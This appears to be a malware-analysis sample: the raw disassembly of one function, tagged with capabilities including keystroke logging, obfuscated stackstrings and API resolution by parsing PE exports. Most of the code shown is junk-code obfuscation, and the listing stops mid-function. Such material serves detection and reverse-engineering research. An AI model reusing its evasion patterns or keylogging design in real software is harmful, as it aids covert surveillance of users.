Function at 0x1001a29c
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Extract resource via kernel32 functions
Get keyboard layout
Log keystrokes via polling
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006c2d5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x115c
call fcn.100680a0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0x10], 0
jbe 0x1001a3dc
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1001a3dc
mov dword [ebp - 0x54], 0xac204e2d
mov dword [ebp - 0x9cc], 0xfffffffb
mov dword [ebp - 0x54], 0xfffffff3
jmp 0x1001a2fc
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xa
jne 0x1001a3a7
mov dword [ebp - 0x1f0], 0xe17ca002
mov byte [ebp - 0xf8], 0
movzx eax, byte [ebp - 0xf8]
test eax, eax
je 0x1001a330
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
mov dword [ebp - 0x1f0], 9
jmp 0x1001a349
mov eax, dword [ebp - 0x1f0]
dec eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0xfffffff1
je 0x1001a3a2
mov dword [ebp - 0x200], 0xbea12209
mov dword [ebp - 0xa74], 0xfffffff8
mov dword [ebp - 0x9c4], 0x530de9bf
mov dword [ebp - 0x200], 0
jmp 0x1001a389
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x13
jne 0x1001a3a0
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0x9c4], eax
jmp 0x1001a37c
jmp 0x1001a33c
jmp 0x1001a2f5
mov dword [ebp - 0x54], 0
jmp 0x1001a3b7
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xfffffffd
jge 0x1001a3c8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x9cc], eax
jmp 0x1001a3b0
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1001512e
pop ecx
pop ecx
jmp 0x10021d27
mov dword [ebp - 0x3c], 0xbca63185
mov dword [ebp - 0x194], 0xffffffff
mov dword [ebp - 0x8f8], 0xa3b
mov dword [ebp - 0xa44], 0x72c6
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x458], 5
mov dword [ebp - 0x3c], 0
jmp 0x1001a425
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffe7
je 0x1001aaac
mov dword [ebp - 0xa4c], 0xc01cf56e
mov dword [ebp - 0xa54], 0
mov dword [ebp - 0x6c], 0
jmp 0x1001a453
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x1001a469
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x404], 0xfffffff8
jmp 0x1001a44c
mov dword [ebp - 0x6c], 0
jmp 0x1001a479
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x1001a48c
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x18], 0
jmp 0x1001a472
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x1001a4bd
push 0xdf8
push 0x131c
push 0x1552
push 0x12e1
push 0x226e
call dword [sym.imp.GDI32.dll_IntersectClipRect]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x18], 0
jmp 0x1001a4e2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x18], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 2
jg 0x1001aaa7
mov dword [ebp - 0xcc], 1
mov dword [ebp - 0x2ec], 6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 0
jne 0x1001a5c5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 0
jg 0x1001a531
mov dword [ebp - 0x504], 1
jmp 0x1001a538
and dword [ebp - 0x504], 0
cmp dword [ebp - 0x504], 0
jbe 0x1001a54d
mov dword [ebp - 0x9d4], 1
jmp 0x1001a554
and dword [ebp - 0x9d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov eax, dword [ebp + eax*4 - 0x404]
mov dword [ebp - 0xdb4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov eax, dword [ebp + eax*4 - 0x404]
mov dword [ebp - 0xe7c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x100c], eax
mov dword [ebp - 0xcc], 0xfdda
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xe84], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x404]
mov dword [ebp - 0xf74], eax
cmp dword [ebp - 0xcc], 0
jne 0x1001a5c5
and dword [ebp - 0x88c], 0
jmp 0x1001a5cf
mov dword [ebp - 0x88c], 1
imul eax, dword [ebp - 0x88c], 0xffff
inc eax
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0xe8c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xfe0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp dword [ebp + eax*4 - 0x404], 3
jg 0x1001a615
mov dword [ebp - 0x8c0], 1
jmp 0x1001a61c
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x8c0]
mov dword [ebp - 0x2ec], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov ecx, dword [ebp - 0x2ec]
cmp ecx, dword [ebp + eax*4 - 0x404]
jge 0x1001a64d
mov dword [ebp - 0x8c8], 1
jmp 0x1001a654
and dword [ebp - 0x8c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov eax, dword [ebp + eax*4 - 0x404]
cmp eax, dword [ebp - 0x8c8]
jle 0x1001a8db
mov dword [ebp - 0xa34], 0xfffffff9
push 3
lea ecx, [ebp - 0xd08]
call fcn.1000bc61
and dword [ebp - 4], 0
mov dword [ebp - 0x204], 0
jmp 0x1001a6a5
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 3
jge 0x1001a6c7
push dword [ebp - 0x204]
lea ecx, [ebp - 0xd08]
call fcn.1000bcff
mov dword [eax], 4
jmp 0x1001a698
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x404], 3
jne 0x1001a6e2
mov dword [ebp - 0x900], 1
jmp 0x1001a6e9
and dword [ebp - 0x900], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 0xfffffff7
je 0x1001a702
mov dword [ebp - 0x8d0], 1
jmp 0x1001a709
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0x8f8]
add eax, dword [ebp - 0x8d0]
cmp eax, 9
jle 0x1001a726
mov dword [ebp - 0x8d8], 1
jmp 0x1001a72d
and dword [ebp - 0x8d8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x404]
cmp dword [ebp - 0x8d8], eax
jne 0x1001a74e
mov dword [ebp - 0x8e0], 1
jmp 0x1001a755
and dword [ebp - 0x8e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov eax, dword [ebp + eax*4 - 0x404]
cmp dword [ebp - 0x8e0], eax
jle 0x1001a77a
mov dword [ebp - 0x8e8], 1
jmp 0x1001a781
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x8e8], eax
je 0x1001a7a1
mov eax, 0xc1d5
test eax, eax
jne 0x1001a7a1
and dword [ebp - 0x8f0], 0
jmp 0x1001a7ab
mov dword [ebp - 0x8f0], 1
cmp dword [ebp - 0x8f0], 0xfffc
jbe 0x1001a7c3
mov dword [ebp - 0xa24], 1
jmp 0x1001a7ca
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0x8f8]
mov dword [ebp - 0xe94], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, 0x7dfe
sub ecx, dword [ebp + eax - 0x18]
neg ecx
cmp ecx, dword [ebp - 0x3c]
jne 0x1001a7f8
mov dword [ebp - 0xa2c], 1
jmp 0x1001a7ff
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0xa34]
mov dword [ebp - 0xea4], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x18]
cmp ecx, dword [ebp + eax - 0x18]
jg 0x1001a82d
mov dword [ebp - 0x908], 1
jmp 0x1001a834
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x900]
cmp eax, dword [ebp - 0x908]
je 0x1001a84e
mov dword [ebp - 0x91c], 1
jmp 0x1001a855
and dword [ebp - 0x91c], 0
cmp dword [ebp - 0x91c], 0
ja 0x1001a86a
mov dword [ebp - 0x6b8], 1
jmp 0x1001a871
and dword [ebp - 0x6b8], 0
imul eax, dword [ebp - 0x6b8], 0x98c6
mov dword [ebp - 0x884], eax
push 1
lea ecx, [ebp - 0xd08]
call fcn.1000bcff
mov ecx, dword [ebp - 0x884]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp dword [ebp - 0x884], eax
jle 0x1001a8b4
mov dword [ebp - 0x438], 1
jmp 0x1001a8bb
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0xcc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd08]
call fcn.1000bce3
jmp 0x1001aaa2
mov dword [ebp - 0x3d0], 0x5d26
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x194]
jl 0x1001a8fc
mov dword [ebp - 0xa3c], 1
jmp 0x1001a903
and dword [ebp - 0xa3c], 0
cmp dword [ebp - 0xa44], 0xffffcd69
jle 0x1001a91b
mov dword [ebp - 0x89c], 1
jmp 0x1001a922
and dword [ebp - 0x89c], 0
cmp dword [ebp - 0x89c], 0xfffffffe
jl 0x1001a937
mov dword [ebp - 0x440], 1
jmp 0x1001a93e
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0xa4c]
mov dword [ebp - 0x2ec], eax
mov eax, 0x80627dbd
sub eax, dword [ebp - 0x2ec]
add eax, dword [ebp - 0x440]
jne 0x1001a969
mov dword [ebp - 0x6c0], 1
jmp 0x1001a970
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
cmp eax, dword [ebp - 0x194]
jge 0x1001a996
mov dword [ebp - 0x800], 1
jmp 0x1001a99d
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x800], eax
je 0x1001a9b4
mov dword [ebp - 0x450], 1
jmp 0x1001a9bb
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0x450]
cmp eax, 0xffff
jae 0x1001a9da
mov dword [ebp - 0x6c8], 1
jmp 0x1001a9e1
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x6c8]
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
cmp eax, dword [ebp - 0x3d0]
jl 0x1001aa07
mov dword [ebp - 0x8dc], 1
jmp 0x1001aa0e
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x8dc], eax
je 0x1001aa25
mov dword [ebp - 0x460], 1
jmp 0x1001aa2c
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x3d0]
cmp dword [ebp - 0x460], eax
jg 0x1001aa46
mov dword [ebp - 0x6d0], 1
jmp 0x1001aa4d
and dword [ebp - 0x6d0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
add eax, dword [ebp - 0x6d0]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xe9c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x3d0]
cmp ecx, dword [ebp + eax - 0x404]
jg 0x1001aa8f
mov dword [ebp - 0x468], 1
jmp 0x1001aa96
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0xa54], eax
jmp 0x1001a4cd
jmp 0x1001a41e
push 1
lea ecx, [ebp - 0x1ec]
call fcn.1000bc61
mov dword [ebp - 4], 1
mov dword [ebp - 0xa6c], 1
mov dword [ebp - 0x20c], 0
jmp 0x1001aae3
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 1
jge 0x1001ab05
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov dword [eax], 0x1c7b
jmp 0x1001aad6
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001ab32
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001ab32
and dword [ebp - 0x808], 0
jmp 0x1001ab3c
mov dword [ebp - 0x808], 1
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov esi, eax
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [esi]
jle 0x1001ab6a
mov dword [ebp - 0xa5c], 1
jmp 0x1001ab71
and dword [ebp - 0xa5c], 0
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov esi, dword [eax]
sub esi, 8
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
cmp esi, dword [eax]
je 0x1001abad
mov dword [ebp - 0x470], 1
jmp 0x1001abb4
and dword [ebp - 0x470], 0
mov esi, dword [ebp - 0x808]
add esi, dword [ebp - 0x470]
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
cmp esi, dword [eax]
jl 0x1001abdd
mov dword [ebp - 0x6d8], 1
jmp 0x1001abe4
and dword [ebp - 0x6d8], 0
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov ecx, dword [ebp - 0x6d8]
cmp ecx, dword [eax]
jge 0x1001ac07
mov dword [ebp - 0x478], 1
jmp 0x1001ac0e
and dword [ebp - 0x478], 0
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov ecx, dword [ebp - 0x478]
cmp ecx, dword [eax]
jne 0x1001ac31
mov dword [ebp - 0xa64], 1
jmp 0x1001ac38
and dword [ebp - 0xa64], 0
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov esi, eax
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [esi]
jl 0x1001ac66
mov dword [ebp - 0x8a4], 1
jmp 0x1001ac6d
and dword [ebp - 0x8a4], 0
push 0
lea ecx, [ebp - 0x1ec]
call fcn.1000bcff
mov ecx, dword [ebp - 0x8a4]
add ecx, dword [eax]
mov dword [ebp - 0xa6c], ecx
mov byte [ebp - 0xb0], 0
movzx eax, byte [ebp - 0xb0]
test eax, eax
je 0x1001aca7
push 0
push 0x12d1
call dword [sym.imp.USER32.dll_MonitorFromWindow]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1ec]
call fcn.1000bce3
cmp dword [ebp + 0x10], 0
jne 0x1001f38a
mov dword [ebp - 0xfc], 0xffffffff
push 3
lea ecx, [ebp - 0xaac]
call fcn.1000bc61
mov dword [ebp - 4], 2
push 3
lea ecx, [ebp - 0x41c]
call fcn.1000bc61
mov byte [ebp - 4], 3
push 3
lea ecx, [ebp - 0x428]
call fcn.1000bc61
mov byte [ebp - 4], 4
mov dword [ebp - 0x3e8], 0xfffffff9
mov dword [ebp - 0x4b8], 0xffffffff
mov dword [ebp - 0x8ac], 1
mov dword [ebp - 0x24], 0
jmp 0x1001ad2e
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1001ad4a
push dword [ebp - 0x24]
lea ecx, [ebp - 0xaac]
call fcn.1000bcff
mov dword [eax], 0xbf8f0aa6
jmp 0x1001ad27
mov dword [ebp - 0x24], 0
jmp 0x1001ad5a
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1001ad76
push dword [ebp - 0x24]
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
mov dword [eax], 0xfffffff9
jmp 0x1001ad53
mov dword [ebp - 0x24], 0
jmp 0x1001ad86
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1001ad9f
push dword [ebp - 0x24]
lea ecx, [ebp - 0x428]
call fcn.1000bcff
or dword [eax], 0xffffffff
jmp 0x1001ad7f
push 1
lea ecx, [ebp - 0x428]
call fcn.1000bcff
mov dword [eax], 0xb27f
cmp dword [ebp - 0xfc], 0xb27f
jle 0x1001adca
mov dword [ebp - 0x480], 1
jmp 0x1001add1
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0xfc]
imul eax, dword [ebp - 0x480]
cmp eax, 0xa266d210
ja 0x1001adf1
mov dword [ebp - 0x99c], 1
jmp 0x1001adf8
and dword [ebp - 0x99c], 0
push 1
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
mov dword [eax], 0xaaed
mov esi, dword [ebp - 0xfc]
push 0
lea ecx, [ebp - 0x428]
call fcn.1000bcff
cmp dword [eax], esi
je 0x1001ae2e
mov dword [ebp - 0x6e0], 1
jmp 0x1001ae35
and dword [ebp - 0x6e0], 0
cmp dword [ebp - 0x6e0], 0xb42b
jle 0x1001ae4d
mov dword [ebp - 0x488], 1
jmp 0x1001ae54
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x810], eax
push 1
lea ecx, [ebp - 0xaac]
call fcn.1000bcff
mov ecx, dword [ebp - 0x810]
mov dword [eax], ecx
mov eax, dword [ebp - 0x488]
sub eax, 0xffff
cmp dword [ebp - 0x810], eax
je 0x1001ae94
mov dword [ebp - 0x490], 1
jmp 0x1001ae9b
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x490], eax
je 0x1001aeb5
mov dword [ebp - 0x6e8], 1
jmp 0x1001aebc
and dword [ebp - 0x6e8], 0
cmp dword [ebp - 0x6e8], 0xfffffffc
jl 0x1001aed1
mov dword [ebp - 0xa7c], 1
jmp 0x1001aed8
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xf7c], eax
push 0
lea ecx, [ebp - 0x428]
call fcn.1000bcff
mov eax, 0xffff
sub eax, 0xfffffffd
mov dword [ebp - 0x3e8], eax
push 1
lea ecx, [ebp - 0xaac]
call fcn.1000bcff
mov dword [eax], 0x4a3a
push 0
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
cmp dword [eax], 0x4a3a
jl 0x1001af33
mov dword [ebp - 0x498], 1
jmp 0x1001af3a
and dword [ebp - 0x498], 0
push 2
lea ecx, [ebp - 0x428]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [ebp - 0x498]
je 0x1001af5d
mov dword [ebp - 0xa84], 1
jmp 0x1001af64
and dword [ebp - 0xa84], 0
push 2
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
mov esi, eax
push 1
lea ecx, [ebp - 0x428]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x1001af92
mov dword [ebp - 0x8fc], 1
jmp 0x1001af99
and dword [ebp - 0x8fc], 0
push 1
lea ecx, [ebp - 0x428]
call fcn.1000bcff
mov ecx, dword [ebp - 0x8fc]
cmp ecx, dword [eax]
jl 0x1001afbc
mov dword [ebp - 0x4a0], 1
jmp 0x1001afc3
and dword [ebp - 0x4a0], 0
cmp dword [ebp - 0x4a0], 0xffffffff
jne 0x1001afd8
mov dword [ebp - 0x6f0], 1
jmp 0x1001afdf
and dword [ebp - 0x6f0], 0
cmp dword [ebp - 0x6f0], 0xbb6f
jl 0x1001aff7
mov dword [ebp - 0x4a8], 1
jmp 0x1001affe
and dword [ebp - 0x4a8], 0
push 0
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [ebp - 0x4a8]
je 0x1001b021
mov dword [ebp - 0x818], 1
jmp 0x1001b028
and dword [ebp - 0x818], 0
cmp dword [ebp - 0x818], 0xf40bf68
jle 0x1001b040
mov dword [ebp - 0x4b0], 1
jmp 0x1001b047
and dword [ebp - 0x4b0], 0
push 2
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
mov ecx, dword [ebp - 0x4b0]
cmp ecx, dword [eax]
jg 0x1001b06a
mov dword [ebp - 0x6f8], 1
jmp 0x1001b071
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x8ac], eax
mov esi, dword [ebp - 0x8ac]
neg esi
push 1
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x428]
call fcn.1000bcff
cmp esi, dword [eax]
jl 0x1001b0c9
mov dword [ebp - 0x4c0], 1
jmp 0x1001b0d0
and dword [ebp - 0x4c0], 0
push 1
lea ecx, [ebp - 0x428]
call fcn.1000bcff
mov ecx, dword [ebp - 0x4c0]
cmp ecx, dword [eax]
jne 0x1001b0f3
mov dword [ebp - 0xa8c], 1
jmp 0x1001b0fa
and dword [ebp - 0xa8c], 0
push 0
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
mov esi, eax
push 1
lea ecx, [ebp - 0xaac]
call fcn.1000bcff
mov eax, dword [eax]
imul eax, dword [esi]
cmp eax, 0x7f0a061f
jne 0x1001b12e
mov dword [ebp - 0x700], 1
jmp 0x1001b135
and dword [ebp - 0x700], 0
push 0
lea ecx, [ebp - 0x41c]
call fcn.1000bcff
mov ecx, dword [ebp - 0x700]
mov dword [eax], ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x428]
call fcn.1000bce3
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x41c]
call fcn.1000bce3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaac]
call fcn.1000bce3
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000d3f9
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x18c], 0xfffffffb
mov dword [ebp - 0x18c], 0
jmp 0x1001b1ab
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0xe
jge 0x1001b24b
push 2
lea ecx, [ebp - 0xbec]
call fcn.1000bc61
mov dword [ebp - 4], 5
mov dword [ebp - 0x2a4], 0
jmp 0x1001b1e5
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 2
jge 0x1001b207
push dword [ebp - 0x2a4]
lea ecx, [ebp - 0xbec]
call fcn.1000bcff
mov dword [eax], 0x633efc07
jmp 0x1001b1d8
push 1
lea ecx, [ebp - 0xbec]
call fcn.1000bcff
mov dword [eax], 0xfffffffe
cmp dword [ebp - 0x18c], 0
je 0x1001b237
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbec]
call fcn.1000bce3
jmp 0x1001b19e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbec]
call fcn.1000bce3
jmp 0x1001b19e
push 1
lea ecx, [ebp - 0x950]
call fcn.1000bc61
mov dword [ebp - 4], 6
mov dword [ebp - 0xd4], 0x1f2c29a
mov dword [ebp - 0xa94], 0
mov dword [ebp - 0x214], 0
jmp 0x1001b28c
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jge 0x1001b2ae
push dword [ebp - 0x214]
lea ecx, [ebp - 0x950]
call fcn.1000bcff
mov dword [eax], 0x1124
jmp 0x1001b27f
mov dword [ebp - 0xd4], 0
jmp 0x1001b2c7
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jg 0x1001b4de
mov dword [ebp - 0x4f0], 4
cmp dword [ebp - 0xd4], 0x1dfe
je 0x1001b2f6
mov dword [ebp - 0x4e8], 1
jmp 0x1001b2fd
and dword [ebp - 0x4e8], 0
push 0
lea ecx, [ebp - 0x950]
call fcn.1000bcff
cmp dword [eax], 0x5969a22d
jne 0x1001b31e
mov dword [ebp - 0x820], 1
jmp 0x1001b325
and dword [ebp - 0x820], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x4f0]
push 0
lea ecx, [ebp - 0x950]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001b349
and dword [ebp - 0x4c8], 0
jmp 0x1001b353
mov dword [ebp - 0x4c8], 1
imul eax, dword [ebp - 0x4c8], 0xfffffffd
cmp dword [ebp - 0x820], eax
jle 0x1001b36e
mov dword [ebp - 0x4d0], 1
jmp 0x1001b375
and dword [ebp - 0x4d0], 0
cmp dword [ebp - 0x4d0], 0xee67
jne 0x1001b38d
mov dword [ebp - 0x708], 1
jmp 0x1001b394
and dword [ebp - 0x708], 0
cmp dword [ebp - 0x708], 0
jb 0x1001b3a9
mov dword [ebp - 0x4d8], 1
jmp 0x1001b3b0
and dword [ebp - 0x4d8], 0
push 0
lea ecx, [ebp - 0x950]
call fcn.1000bcff
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [eax]
je 0x1001b3d3
mov dword [ebp - 0x8e4], 1
jmp 0x1001b3da
and dword [ebp - 0x8e4], 0
cmp dword [ebp - 0x8e4], 0xfcc013ce
jbe 0x1001b3f2
mov dword [ebp - 0x4e0], 1
jmp 0x1001b3f9
and dword [ebp - 0x4e0], 0
cmp dword [ebp - 0x4e0], 0x27
jg 0x1001b40e
mov dword [ebp - 0x710], 1
jmp 0x1001b415
and dword [ebp - 0x710], 0
push 0
lea ecx, [ebp - 0x950]
call fcn.1000bcff
mov ecx, dword [ebp - 0x710]
sub ecx, dword [eax]
je 0x1001b441
mov eax, 0x26d5d64f
test eax, eax
je 0x1001b441
mov dword [ebp - 0x828], 1
jmp 0x1001b448
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x4e8]
cmp eax, dword [ebp - 0x828]
jge 0x1001b462
mov dword [ebp - 0x718], 1
jmp 0x1001b469
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x4f0]
add eax, dword [ebp - 0x718]
cmp eax, dword [ebp - 0xd4]
jle 0x1001b489
mov dword [ebp - 0x4f8], 1
jmp 0x1001b490
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x4f8], eax
jle 0x1001b4aa
mov dword [ebp - 0x8b4], 1
jmp 0x1001b4b1
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0xa94], eax
mov byte [ebp - 0xc4], 0
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x1001b4d9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1001b2ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x950]
call fcn.1000bce3
mov dword [ebp - 0x40], 0x4288a137
mov dword [ebp - 0x314], 0
jmp 0x1001b50d
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 2
jge 0x1001b529
mov eax, dword [ebp - 0x314]
mov dword [ebp + eax*4 - 0x3a8], 0xfffffffb
jmp 0x1001b500
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x3a8], 0
mov dword [ebp - 0x40], 1
jmp 0x1001b54a
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x1001b5f2
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x3a8]
mov dword [ebp - 0xeb4], eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ebp + ecx*4 - 0x3a8]
cmp ecx, dword [ebp + eax*4 - 0x3a8]
jle 0x1001b586
mov dword [ebp - 0x500], 1
jmp 0x1001b58d
and dword [ebp - 0x500], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3a8]
cmp dword [ebp - 0x500], eax
jge 0x1001b5ae
mov dword [ebp - 0x720], 1
jmp 0x1001b5b5
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x720]
sub ecx, dword [ebp + eax*4 - 0x3a8]
cmp ecx, dword [ebp - 0x40]
je 0x1001b5d6
mov dword [ebp - 0x508], 1
jmp 0x1001b5dd
and dword [ebp - 0x508], 0
